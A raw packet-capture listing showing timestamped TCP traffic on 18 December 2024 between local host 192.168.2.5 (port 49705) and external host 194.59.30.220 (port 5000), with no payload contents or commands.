Dec 18, 2024 11:40:30.100611925 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.100667953 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.101618052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.101722002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.101795912 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.102595091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.102701902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.102755070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.103509903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.103615046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.103694916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.104521990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.104655981 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.104731083 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.105504036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.105623960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.105689049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.106463909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.106570959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.106677055 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.107464075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.107642889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.107729912 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.108527899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.108589888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.108763933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.109704018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.109719992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.109848022 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.110574007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.110788107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.110970020 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.111481905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.111499071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.111651897 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.112413883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.112520933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.112673998 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.113512993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.113629103 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.113708019 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.114435911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.114504099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.114567995 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.115452051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.115556955 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.115619898 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.116367102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.116485119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.116549969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.117461920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.117685080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.117746115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.124350071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.124447107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.124526978 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.124834061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.125019073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.125070095 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.125113964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.126763105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.126779079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.126806974 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.126979113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.127033949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.260467052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.260664940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.260770082 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.260924101 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.261049032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.261094093 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.261096001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.262025118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.262137890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.262160063 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.263000011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.263097048 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.263111115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.264012098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.264059067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.264127016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.265005112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.265130043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.265140057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.265968084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.266155005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.266175032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.266947985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.267062902 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.267082930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.267965078 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.267991066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.268527985 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.268939972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.268985987 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.269001961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.270003080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.270067930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.270703077 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.270917892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.270968914 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.271049023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.271940947 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.272032022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.272865057 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.272912025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.273102999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.273122072 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.273905993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.273952961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.273997068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.274946928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.275002003 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.275042057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.276020050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.276165962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.276196957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.276873112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.276930094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.276964903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.277896881 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.277944088 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.278032064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.278857946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.278971910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.278990984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.279830933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.279882908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.279951096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.280869961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.280982971 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.281008959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.281896114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.281944990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.281963110 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.282852888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.282936096 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.282999039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.283868074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.283951044 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.284040928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.284861088 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.285028934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.285049915 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.285797119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.285916090 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.285917997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.286974907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.287019014 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.287147045 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.287806034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.287848949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.287939072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.288836956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.288918018 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.288938999 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.289804935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.289877892 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.290003061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.290777922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.290930033 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.290951014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.291802883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.291846991 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.291894913 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.292767048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.292809010 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.292819977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.293736935 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.293854952 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.293886900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.294836044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.294884920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.294928074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.295737982 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.295789957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.295929909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.296722889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.296829939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.296849966 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.297791004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.297848940 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.297849894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.298763037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.298824072 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.298866034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.299731970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.299777985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.299797058 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.300772905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.300930023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.300947905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.301783085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.301826954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.301863909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.302711964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.302804947 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.302876949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.303673983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.303874969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.303899050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.304645061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.304692030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.304699898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.305665970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.305763960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.305804014 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.306646109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.306759119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.306802988 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.307636023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.307692051 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.307734013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.308624029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.308690071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.308708906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.315464973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.315527916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.315552950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.315982103 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.316070080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.316088915 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.316951990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.317014933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.317051888 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.317929983 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.318080902 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.459062099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.459342003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.459429979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.459431887 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.459507942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.459585905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.460218906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.460356951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.460436106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.461177111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.461303949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.461436033 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.462135077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.462301970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.462430954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.463187933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.463320017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.463510036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.464173079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.464248896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.464340925 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.465164900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.465316057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.465363979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.466135025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.466257095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.466295958 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.467161894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.467274904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.467324018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.468072891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.468204021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.468281984 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.469052076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.469186068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.469230890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.470119953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.470272064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.470376015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.471026897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.471101999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.471167088 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.472074032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.472171068 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.472254038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.473089933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.473263979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.473331928 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.474030972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.474128008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.474169016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.475027084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.475158930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.475203037 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.476006031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.476135969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.476212025 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.477000952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.477165937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.477251053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.477997065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.478106022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.478157043 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.478970051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.479089022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.479159117 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.480109930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.480353117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.480401993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.481031895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.481057882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.481101036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.482060909 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.482181072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.482265949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.483015060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.483164072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.483205080 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.484016895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.484169006 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.484206915 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.484925032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.485050917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.485143900 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.485918999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.486033916 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.486077070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.486989975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.487061024 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.487102032 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.487943888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.488035917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.488084078 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.488931894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.489039898 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.489146948 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.489957094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.490062952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.490153074 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.490884066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.491076946 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.491116047 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.491885900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.491985083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:30.492119074 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:30.492885113 CET	5000	49705	194.59.30.220	192.168.2.5
